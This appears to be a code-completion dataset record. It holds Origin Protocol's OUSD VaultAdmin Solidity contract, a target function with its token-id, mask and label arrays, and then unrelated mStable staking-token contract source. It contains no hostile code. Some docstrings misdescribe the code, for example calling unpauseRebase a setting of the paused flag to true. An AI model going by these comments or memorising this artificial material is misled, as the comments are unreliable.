uint256 public trusteeFeeBps;
/**
* @dev set the implementation for the admin, this needs to be in a base class else we cannot set it
* @param newImpl address of the implementation
*/
function setAdminImpl(address newImpl) external onlyGovernor {
require(
Address.isContract(newImpl),
"new implementation is not a contract"
);
bytes32 position = adminImplPosition;
assembly {
sstore(position, newImpl)
}
}
}
// File: contracts/interfaces/IMinMaxOracle.sol
pragma solidity 0.5.11;
interface IMinMaxOracle {
//Assuming 8 decimals
function priceMin(string calldata symbol) external view returns (uint256);
function priceMax(string calldata symbol) external view returns (uint256);
}
// File: contracts/interfaces/uniswap/IUniswapV2Router02.sol
pragma solidity 0.5.11;
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
// File: contracts/vault/VaultAdmin.sol
pragma solidity 0.5.11;
/**
* @title OUSD Vault Admin Contract
* @notice The VaultAdmin contract makes configuration and admin calls on the vault.
* @author Origin Protocol Inc
*/
contract VaultAdmin is VaultStorage {
/**
* @dev Verifies that the caller is the Vault, Governor, or Strategist.
*/
modifier onlyVaultOrGovernorOrStrategist() {
require(
msg.sender == address(this) ||
msg.sender == strategistAddr ||
isGovernor(),
"Caller is not the Vault, Governor, or Strategist"
);
_;
}
modifier onlyGovernorOrStrategist() {
require(
msg.sender == strategistAddr || isGovernor(),
"Caller is not the Strategist or Governor"
);
_;
}
/***************************************
Configuration
****************************************/
/**
* @dev Set address of price provider.
* @param _priceProvider Address of price provider
*/
function setPriceProvider(address _priceProvider) external onlyGovernor {
priceProvider = _priceProvider;
emit PriceProviderUpdated(_priceProvider);
}
/**
* @dev Set a fee in basis points to be charged for a redeem.
* @param _redeemFeeBps Basis point fee to be charged
*/
function setRedeemFeeBps(uint256 _redeemFeeBps) external onlyGovernor {
redeemFeeBps = _redeemFeeBps;
emit RedeemFeeUpdated(_redeemFeeBps);
}
/**
* @dev Set a buffer of assets to keep in the Vault to handle most
* redemptions without needing to spend gas unwinding assets from a Strategy.
* @param _vaultBuffer Percentage using 18 decimals. 100% = 1e18.
*/
function setVaultBuffer(uint256 _vaultBuffer) external onlyGovernor {
require(_vaultBuffer <= 1e18, "Invalid value");
vaultBuffer = _vaultBuffer;
emit VaultBufferUpdated(_vaultBuffer);
}
/**
* @dev Sets the minimum amount of OUSD in a mint to trigger an
* automatic allocation of funds afterwords.
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setAutoAllocateThreshold(uint256 _threshold)
external
onlyGovernor
{
autoAllocateThreshold = _threshold;
emit AllocateThresholdUpdated(_threshold);
}
/**
* @dev Set a minimum amount of OUSD in a mint or redeem that triggers a
* rebase
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setRebaseThreshold(uint256 _threshold) external onlyGovernor {
rebaseThreshold = _threshold;
emit RebaseThresholdUpdated(_threshold);
}
/**
* @dev Set address of Uniswap for performing liquidation of strategy reward
* tokens
* @param _address Address of Uniswap
*/
function setUniswapAddr(address _address) external onlyGovernor {
uniswapAddr = _address;
emit UniswapUpdated(_address);
}
/**
* @dev Set address of Strategist
* @param _address Address of Strategist
*/
function setStrategistAddr(address _address) external onlyGovernor {
strategistAddr = _address;
emit StrategistUpdated(_address);
}
/**
* @dev Set the default Strategy for an asset, i.e. the one which the asset
will be automatically allocated to and withdrawn from
* @param _asset Address of the asset
* @param _strategy Address of the Strategy
*/
function setAssetDefaultStrategy(address _asset, address _strategy)
external
onlyGovernorOrStrategist
{
emit AssetDefaultStrategyUpdated(_asset, _strategy);
require(strategies[_strategy].isSupported, "Strategy not approved");
IStrategy strategy = IStrategy(_strategy);
require(assets[_asset].isSupported, "Asset is not supported");
require(
strategy.supportsAsset(_asset),
"Asset not supported by Strategy"
);
assetDefaultStrategies[_asset] = _strategy;
}
/**
* @dev Add a supported asset to the contract, i.e. one that can be
* to mint OUSD.
* @param _asset Address of asset
*/
function supportAsset(address _asset) external onlyGovernor {
require(!assets[_asset].isSupported, "Asset already supported");
assets[_asset] = Asset({ isSupported: true });
allAssets.push(_asset);
emit AssetSupported(_asset);
}
/**
* @dev Add a strategy to the Vault.
* @param _addr Address of the strategy to add
*/
function approveStrategy(address _addr) external onlyGovernor {
require(!strategies[_addr].isSupported, "Strategy already approved");
strategies[_addr] = Strategy({ isSupported: true, _deprecated: 0 });
allStrategies.push(_addr);
emit StrategyApproved(_addr);
}
/**
* @dev Remove a strategy from the Vault. Removes all invested assets and
* returns them to the Vault.
* @param _addr Address of the strategy to remove
*/
function removeStrategy(address _addr) external onlyGovernor {
require(strategies[_addr].isSupported, "Strategy not approved");
// Initialize strategyIndex with out of bounds result so function will
// revert if no valid index found
uint256 strategyIndex = allStrategies.length;
for (uint256 i = 0; i < allStrategies.length; i++) {
if (allStrategies[i] == _addr) {
strategyIndex = i;
break;
}
}
if (strategyIndex < allStrategies.length) {
allStrategies[strategyIndex] = allStrategies[allStrategies.length -
1];
allStrategies.pop();
// Withdraw all assets
IStrategy strategy = IStrategy(_addr);
strategy.withdrawAll();
// Call harvest after withdraw in case withdraw triggers
// distribution of additional reward tokens (true for Compound)
_harvest(_addr);
emit StrategyRemoved(_addr);
}
// Clean up struct in mapping, this can be removed later
// See https://github.com/OriginProtocol/origin-dollar/issues/324
strategies[_addr].isSupported = false;
}
/**
* @notice Move assets from one Strategy to another
* @param _strategyFromAddress Address of Strategy to move assets from.
* @param _strategyToAddress Address of Strategy to move assets to.
* @param _assets Array of asset address that will be moved
* @param _amounts Array of amounts of each corresponding asset to move.
*/
function reallocate(
address _strategyFromAddress,
address _strategyToAddress,
address[] calldata _assets,
uint256[] calldata _amounts
) external onlyGovernorOrStrategist {
require(
strategies[_strategyFromAddress].isSupported,
"Invalid from Strategy"
);
require(
strategies[_strategyToAddress].isSupported,
"Invalid to Strategy"
);
require(_assets.length == _amounts.length, "Parameter length mismatch");
IStrategy strategyFrom = IStrategy(_strategyFromAddress);
IStrategy strategyTo = IStrategy(_strategyToAddress);
for (uint256 i = 0; i < _assets.length; i++) {
require(strategyTo.supportsAsset(_assets[i]), "Asset unsupported");
// Withdraw from Strategy and pass other Strategy as recipient
strategyFrom.withdraw(address(strategyTo), _assets[i], _amounts[i]);
}
// Tell new Strategy to deposit into protocol
strategyTo.depositAll();
}
/**
* @dev Sets the maximum allowable difference between
* total supply and backing assets' value.
*/
function setMaxSupplyDiff(uint256 _maxSupplyDiff) external onlyGovernor {
maxSupplyDiff = _maxSupplyDiff;
emit MaxSupplyDiffChanged(_maxSupplyDiff);
}
/**
* @dev Sets the trusteeAddress that can receive a portion of yield.
* Setting to the zero address disables this feature.
*/
function setTrusteeAddress(address _address) external onlyGovernor {
trusteeAddress = _address;
emit TrusteeAddressChanged(_address);
}
/**
* @dev Sets the TrusteeFeeBps to the percentage of yield that should be
* received in basis points.
*/
function setTrusteeFeeBps(uint256 _basis) external onlyGovernor {
require(_basis <= 5000, "basis cannot exceed 50%");
trusteeFeeBps = _basis;
emit TrusteeFeeBpsChanged(_basis);
}
/***************************************
Pause
****************************************/
/**
* @dev Set the deposit paused flag to true to prevent rebasing.
*/
function pauseRebase() external onlyGovernorOrStrategist {
rebasePaused = true;
emit RebasePaused();
}
/**
* @dev Set the deposit paused flag to true to allow rebasing.
*/
function unpauseRebase() external onlyGovernor {
rebasePaused = false;
emit RebaseUnpaused();
}
/**
* @dev Set the deposit paused flag to true to prevent capital movement.
*/
function pauseCapital() external onlyGovernorOrStrategist {
capitalPaused = true;
emit CapitalPaused();
}
/**
* @dev Set the deposit paused flag to false to enable capital movement.
*/
function unpauseCapital() external onlyGovernor {
capitalPaused = false;
emit CapitalUnpaused();
}
/***************************************
Rewards
****************************************/
/**
* @dev Transfer token to governor. Intended for recovering tokens stuck in
* contract, i.e. mistaken sends.
* @param _asset Address for the asset
* @param _amount Amount of the asset to transfer
*/
function transferToken(address _asset, uint256 _amount)
external
onlyGovernor
{
require(!assets[_asset].isSupported, "Only unsupported assets");
IERC20(_asset).safeTransfer(governor(), _amount);
}
/**
* @dev Collect reward tokens from all strategies and swap for supported
* stablecoin via Uniswap
*/
function harvest() external onlyGovernorOrStrategist {
for (uint256 i = 0; i < allStrategies.length; i++) {
_harvest(allStrategies[i]);
}
}
/**
* @dev Collect reward tokens for a specific strategy and swap for supported
* stablecoin via Uniswap. Called from the vault.
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function harvest(address _strategyAddr)
external
onlyVaultOrGovernorOrStrategist
returns (uint256[] memory)
{
return _harvest(_strategyAddr);
}
/**
* @dev Collect reward tokens from a single strategy and swap them for a
* supported stablecoin via Uniswap
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function _harvest(address _strategyAddr)
internal
returns (uint256[] memory)
{
IStrategy strategy = IStrategy(_strategyAddr);
address rewardTokenAddress = strategy.rewardTokenAddress();
if (rewardTokenAddress != address(0)) {
strategy.collectRewardToken();
if (uniswapAddr != address(0)) {
IERC20 rewardToken = IERC20(strategy.rewardTokenAddress());
uint256 rewardTokenAmount = rewardToken.balanceOf(
address(this)
);
if (rewardTokenAmount > 0) {
// Give Uniswap full amount allowance
rewardToken.safeApprove(uniswapAddr, 0);
rewardToken.safeApprove(uniswapAddr, rewardTokenAmount);
// Uniswap redemption path
address[] memory path = new address[](3);
path[0] = strategy.rewardTokenAddress();
path[1] = IUniswapV2Router(uniswapAddr).WETH();
path[2] = allAssets[1]; // USDT
return
IUniswapV2Router(uniswapAddr).swapExactTokensForTokens(
rewardTokenAmount,
uint256(0),
path,
address(this),
now.add(1800)
);
}
}
}
}
/***************************************
Pricing
****************************************/
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Min since min is what we use for mint pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function priceUSDMint(string calldata symbol)
external
view
returns (uint256)
{
return _priceUSDMint(symbol);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Min since min is what we use for mint pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function _priceUSDMint(string memory symbol)
internal
view
returns (uint256)
{
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return IMinMaxOracle(priceProvider).priceMin(symbol).scaleBy(10);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Max since max is what we use for redeem pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function priceUSDRedeem(string calldata symbol)
external
view
returns (uint256)
{
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return _priceUSDRedeem(symbol);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Max since max is what we use for redeem pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function _priceUSDRedeem(string memory symbol)
internal
view
returns (uint256)
{
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return IMinMaxOracle(priceProvider).priceMax(symbol).scaleBy(10);
}
}
|
* @dev Set the deposit paused flag to true to allow rebasing./
|
function unpauseRebase() external onlyGovernor {
rebasePaused = false;
emit RebaseUnpaused();
}
| 483,499 |
[
1,
694,
326,
443,
1724,
17781,
2982,
358,
638,
358,
1699,
283,
9157,
310,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
640,
19476,
426,
1969,
1435,
3903,
1338,
43,
1643,
29561,
288,
203,
3639,
283,
1969,
28590,
273,
629,
31,
203,
3639,
3626,
868,
1969,
984,
8774,
3668,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
pragma abicoder v2;
import { StakedToken } from "./StakedToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title StakedTokenMTA
* @dev Derives from StakedToken, and simply adds the functionality specific to the $MTA staking token,
* for example compounding rewards.
**/
contract StakedTokenMTA is StakedToken {
using SafeERC20 for IERC20;
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _stakedToken Core token that is staked and tracked (e.g. MTA)
* @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible
* @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
address _stakedToken,
uint256 _cooldownSeconds,
uint256 _unstakeWindow
)
StakedToken(
_nexus,
_rewardsToken,
_questManager,
_stakedToken,
_cooldownSeconds,
_unstakeWindow,
false
)
{}
function initialize(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) external initializer {
__StakedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg);
}
/**
* @dev Allows a staker to compound their rewards IF the Staking token and the Rewards token are the same
* for example, with $MTA as both staking token and rewards token. Calls 'claimRewards' on the HeadlessStakingRewards
* before executing a stake here
*/
function compoundRewards() external nonReentrant {
require(address(STAKED_TOKEN) == address(REWARDS_TOKEN), "Only for same pairs");
// 1. claim rewards
uint256 balBefore = STAKED_TOKEN.balanceOf(address(this));
_claimReward(address(this));
// 2. check claim amount
uint256 balAfter = STAKED_TOKEN.balanceOf(address(this));
uint256 claimed = balAfter - balBefore;
require(claimed > 0, "Must compound something");
// 3. re-invest
_settleStake(claimed, address(0), false);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
pragma abicoder v2;
import { IStakedToken } from "./interfaces/IStakedToken.sol";
import { GamifiedVotingToken } from "./GamifiedVotingToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { Root } from "../../shared/Root.sol";
import { InitializableReentrancyGuard } from "../../shared/InitializableReentrancyGuard.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title StakedToken
* @notice StakedToken is a non-transferrable ERC20 token that allows users to stake and withdraw, earning voting rights.
* Scaled balance is determined by quests a user completes, and the length of time they keep the raw balance wrapped.
* Stakers can unstake, after the elapsed cooldown period, and before the end of the unstake window. Users voting/earning
* power is slashed during this time, and they may face a redemption fee if they leave early.
* The reason for this unstake window is that this StakedToken acts as a source of insurance value for the mStable system,
* which can access the funds via the Recollateralisation module, up to the amount defined in `safetyData`.
* Voting power can be used for a number of things: voting in the mStable DAO/emission dials, boosting rewards, earning
* rewards here. While a users "balance" is unique to themselves, they can choose to delegate their voting power (which will apply
* to voting in the mStable DAO and emission dials).
* @author mStable
* @dev Only whitelisted contracts can communicate with this contract, in order to avoid having tokenised wrappers that
* could potentially circumvent our unstaking procedure.
**/
contract StakedToken is GamifiedVotingToken, InitializableReentrancyGuard {
using SafeERC20 for IERC20;
/// @notice Core token that is staked and tracked (e.g. MTA)
IERC20 public immutable STAKED_TOKEN;
/// @notice Seconds a user must wait after she initiates her cooldown before withdrawal is possible
uint256 public immutable COOLDOWN_SECONDS;
/// @notice Window in which it is possible to withdraw, following the cooldown period
uint256 public immutable UNSTAKE_WINDOW;
/// @notice A week
uint256 private constant ONE_WEEK = 7 days;
struct SafetyData {
/// Percentage of collateralisation where 100% = 1e18
uint128 collateralisationRatio;
/// Slash % where 100% = 1e18
uint128 slashingPercentage;
}
/// @notice Data relating to the re-collateralisation safety module
SafetyData public safetyData;
/// @notice Whitelisted smart contract integrations
mapping(address => bool) public whitelistedWrappers;
event Staked(address indexed user, uint256 amount, address delegatee);
event Withdraw(address indexed user, address indexed to, uint256 amount);
event Cooldown(address indexed user, uint256 percentage);
event CooldownExited(address indexed user);
event SlashRateChanged(uint256 newRate);
event Recollateralised();
event WrapperWhitelisted(address wallet);
event WrapperBlacklisted(address wallet);
/***************************************
INIT
****************************************/
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _questManager Centralised manager of quests
* @param _stakedToken Core token that is staked and tracked (e.g. MTA)
* @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible
* @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period
* @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
address _stakedToken,
uint256 _cooldownSeconds,
uint256 _unstakeWindow,
bool _hasPriceCoeff
) GamifiedVotingToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) {
STAKED_TOKEN = IERC20(_stakedToken);
COOLDOWN_SECONDS = _cooldownSeconds;
UNSTAKE_WINDOW = _unstakeWindow;
}
/**
* @param _nameArg Token name
* @param _symbolArg Token symbol
* @param _rewardsDistributorArg mStable Rewards Distributor
*/
function __StakedToken_init(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) public initializer {
__GamifiedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg);
_initializeReentrancyGuard();
safetyData = SafetyData({ collateralisationRatio: 1e18, slashingPercentage: 0 });
}
/**
* @dev Only the recollateralisation module, as specified in the mStable Nexus, can execute this
*/
modifier onlyRecollateralisationModule() {
require(_msgSender() == _recollateraliser(), "Only Recollateralisation Module");
_;
}
/**
* @dev This protects against fn's being called after a recollateralisation event, when the contract is essentially finished
*/
modifier onlyBeforeRecollateralisation() {
_onlyBeforeRecollateralisation();
_;
}
function _onlyBeforeRecollateralisation() internal view {
require(safetyData.collateralisationRatio == 1e18, "Only while fully collateralised");
}
/**
* @dev Only whitelisted contracts can call core fns. mStable governors can whitelist and de-whitelist wrappers.
* Access may be given to yield optimisers to boost rewards, but creating unlimited and ungoverned wrappers is unadvised.
*/
modifier assertNotContract() {
_assertNotContract();
_;
}
function _assertNotContract() internal view {
if (_msgSender() != tx.origin) {
require(whitelistedWrappers[_msgSender()], "Not a whitelisted contract");
}
}
/***************************************
ACTIONS
****************************************/
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power.
* @param _amount Units of STAKED_TOKEN to stake
*/
function stake(uint256 _amount) external {
_transferAndStake(_amount, address(0), false);
}
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power.
* @param _amount Units of STAKED_TOKEN to stake
* @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and
* return the user back to their full voting power
*/
function stake(uint256 _amount, bool _exitCooldown) external {
_transferAndStake(_amount, address(0), _exitCooldown);
}
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power. Take the opportunity to change delegatee.
* @param _amount Units of STAKED_TOKEN to stake
* @param _delegatee Address of the user to whom the sender would like to delegate their voting power
*/
function stake(uint256 _amount, address _delegatee) external {
_transferAndStake(_amount, _delegatee, false);
}
/**
* @dev Transfers tokens from sender before calling `_settleStake`
*/
function _transferAndStake(
uint256 _amount,
address _delegatee,
bool _exitCooldown
) internal {
STAKED_TOKEN.safeTransferFrom(_msgSender(), address(this), _amount);
_settleStake(_amount, _delegatee, _exitCooldown);
}
/**
* @dev Internal stake fn. Can only be called by whitelisted contracts/EOAs and only before a recollateralisation event.
* NOTE - Assumes tokens have already been transferred
* @param _amount Units of STAKED_TOKEN to stake
* @param _delegatee Address of the user to whom the sender would like to delegate their voting power
* @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and
* return the user back to their full voting power
*/
function _settleStake(
uint256 _amount,
address _delegatee,
bool _exitCooldown
) internal onlyBeforeRecollateralisation assertNotContract {
require(_amount != 0, "INVALID_ZERO_AMOUNT");
// 1. Apply the delegate if it has been chosen (else it defaults to the sender)
if (_delegatee != address(0)) {
_delegate(_msgSender(), _delegatee);
}
// 2. Deal with cooldown
// If a user is currently in a cooldown period, re-calculate their cooldown timestamp
Balance memory oldBalance = _balances[_msgSender()];
// If we have missed the unstake window, or the user has chosen to exit the cooldown,
// then reset the timestamp to 0
bool exitCooldown = _exitCooldown ||
(oldBalance.cooldownTimestamp > 0 &&
block.timestamp >
(oldBalance.cooldownTimestamp + COOLDOWN_SECONDS + UNSTAKE_WINDOW));
if (exitCooldown) {
emit CooldownExited(_msgSender());
}
// 3. Settle the stake by depositing the STAKED_TOKEN and minting voting power
_mintRaw(_msgSender(), _amount, exitCooldown);
emit Staked(_msgSender(), _amount, _delegatee);
}
/**
* @dev Withdraw raw tokens from the system, following an elapsed cooldown period.
* Note - May be subject to a transfer fee, depending on the users weightedTimestamp
* @param _amount Units of raw token to withdraw
* @param _recipient Address of beneficiary who will receive the raw tokens
* @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee?
* @param _exitCooldown Should we take this opportunity to exit the cooldown period?
**/
function withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) external {
_withdraw(_amount, _recipient, _amountIncludesFee, _exitCooldown);
}
/**
* @dev Withdraw raw tokens from the system, following an elapsed cooldown period.
* Note - May be subject to a transfer fee, depending on the users weightedTimestamp
* @param _amount Units of raw token to withdraw
* @param _recipient Address of beneficiary who will receive the raw tokens
* @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee?
* @param _exitCooldown Should we take this opportunity to exit the cooldown period?
**/
function _withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) internal assertNotContract {
require(_amount != 0, "INVALID_ZERO_AMOUNT");
// Is the contract post-recollateralisation?
if (safetyData.collateralisationRatio != 1e18) {
// 1. If recollateralisation has occured, the contract is finished and we can skip all checks
_burnRaw(_msgSender(), _amount, false, true);
// 2. Return a proportionate amount of tokens, based on the collateralisation ratio
STAKED_TOKEN.safeTransfer(
_recipient,
(_amount * safetyData.collateralisationRatio) / 1e18
);
emit Withdraw(_msgSender(), _recipient, _amount);
} else {
// 1. If no recollateralisation has occured, the user must be within their UNSTAKE_WINDOW period in order to withdraw
Balance memory oldBalance = _balances[_msgSender()];
require(
block.timestamp > oldBalance.cooldownTimestamp + COOLDOWN_SECONDS,
"INSUFFICIENT_COOLDOWN"
);
require(
block.timestamp - (oldBalance.cooldownTimestamp + COOLDOWN_SECONDS) <=
UNSTAKE_WINDOW,
"UNSTAKE_WINDOW_FINISHED"
);
// 2. Get current balance
Balance memory balance = _balances[_msgSender()];
// 3. Apply redemption fee
// e.g. (55e18 / 5e18) - 2e18 = 9e18 / 100 = 9e16
uint256 feeRate = calcRedemptionFeeRate(balance.weightedTimestamp);
// fee = amount * 1e18 / feeRate
// totalAmount = amount + fee
uint256 totalWithdraw = _amountIncludesFee
? _amount
: (_amount * (1e18 + feeRate)) / 1e18;
uint256 userWithdrawal = (totalWithdraw * 1e18) / (1e18 + feeRate);
// Check for percentage withdrawal
uint256 maxWithdrawal = oldBalance.cooldownUnits;
require(totalWithdraw <= maxWithdrawal, "Exceeds max withdrawal");
// 4. Exit cooldown if the user has specified, or if they have withdrawn everything
// Otherwise, update the percentage remaining proportionately
bool exitCooldown = _exitCooldown || totalWithdraw == maxWithdrawal;
// 5. Settle the withdrawal by burning the voting tokens
_burnRaw(_msgSender(), totalWithdraw, exitCooldown, false);
// Log any redemption fee to the rewards contract
_notifyAdditionalReward(totalWithdraw - userWithdrawal);
// Finally transfer tokens back to recipient
STAKED_TOKEN.safeTransfer(_recipient, userWithdrawal);
emit Withdraw(_msgSender(), _recipient, _amount);
}
}
/**
* @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able
* to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced.
* If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely.
* @param _units Units of stake to cooldown for
**/
function startCooldown(uint256 _units) external {
_startCooldown(_units);
}
/**
* @dev Ends the cooldown of the sender and give them back their full voting power. This can be used to signal that
* the user no longer wishes to exit the system. Note, the cooldown can also be reset, more smoothly, as part of a stake or
* withdraw transaction.
**/
function endCooldown() external {
require(_balances[_msgSender()].cooldownTimestamp != 0, "No cooldown");
_exitCooldownPeriod(_msgSender());
emit CooldownExited(_msgSender());
}
/**
* @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able
* to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced.
* If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely.
* @param _units Units of stake to cooldown for
**/
function _startCooldown(uint256 _units) internal {
require(balanceOf(_msgSender()) != 0, "INVALID_BALANCE_ON_COOLDOWN");
_enterCooldownPeriod(_msgSender(), _units);
emit Cooldown(_msgSender(), _units);
}
/***************************************
ADMIN
****************************************/
/**
* @dev This is a write function allowing the whitelisted recollateralisation module to slash stakers here and take
* the capital to use to recollateralise any lost value in the system. Trusting that the recollateralisation module has
* sufficient protections put in place. Note, once this has been executed, the contract is now finished, and undercollateralised,
* meaning that all users must withdraw, and will only receive a proportionate amount back relative to the colRatio.
**/
function emergencyRecollateralisation()
external
onlyRecollateralisationModule
onlyBeforeRecollateralisation
{
// 1. Change collateralisation rate
safetyData.collateralisationRatio = 1e18 - safetyData.slashingPercentage;
// 2. Take slashing percentage
uint256 balance = STAKED_TOKEN.balanceOf(address(this));
STAKED_TOKEN.safeTransfer(
_recollateraliser(),
(balance * safetyData.slashingPercentage) / 1e18
);
// 3. No functions should work anymore because the colRatio has changed
emit Recollateralised();
}
/**
* @dev Governance can change the slashing percentage here (initially 0). This is the amount of a stakers capital that is at
* risk in the recollateralisation process.
* @param _newRate Rate, where 50% == 5e17
**/
function changeSlashingPercentage(uint256 _newRate)
external
onlyGovernor
onlyBeforeRecollateralisation
{
require(_newRate <= 5e17, "Cannot exceed 50%");
safetyData.slashingPercentage = SafeCast.toUint128(_newRate);
emit SlashRateChanged(_newRate);
}
/**
* @dev Allows governance to whitelist a smart contract to interact with the StakedToken (for example a yield aggregator or simply
* a Gnosis SAFE or other)
* @param _wrapper Address of the smart contract to list
**/
function whitelistWrapper(address _wrapper) external onlyGovernor {
whitelistedWrappers[_wrapper] = true;
emit WrapperWhitelisted(_wrapper);
}
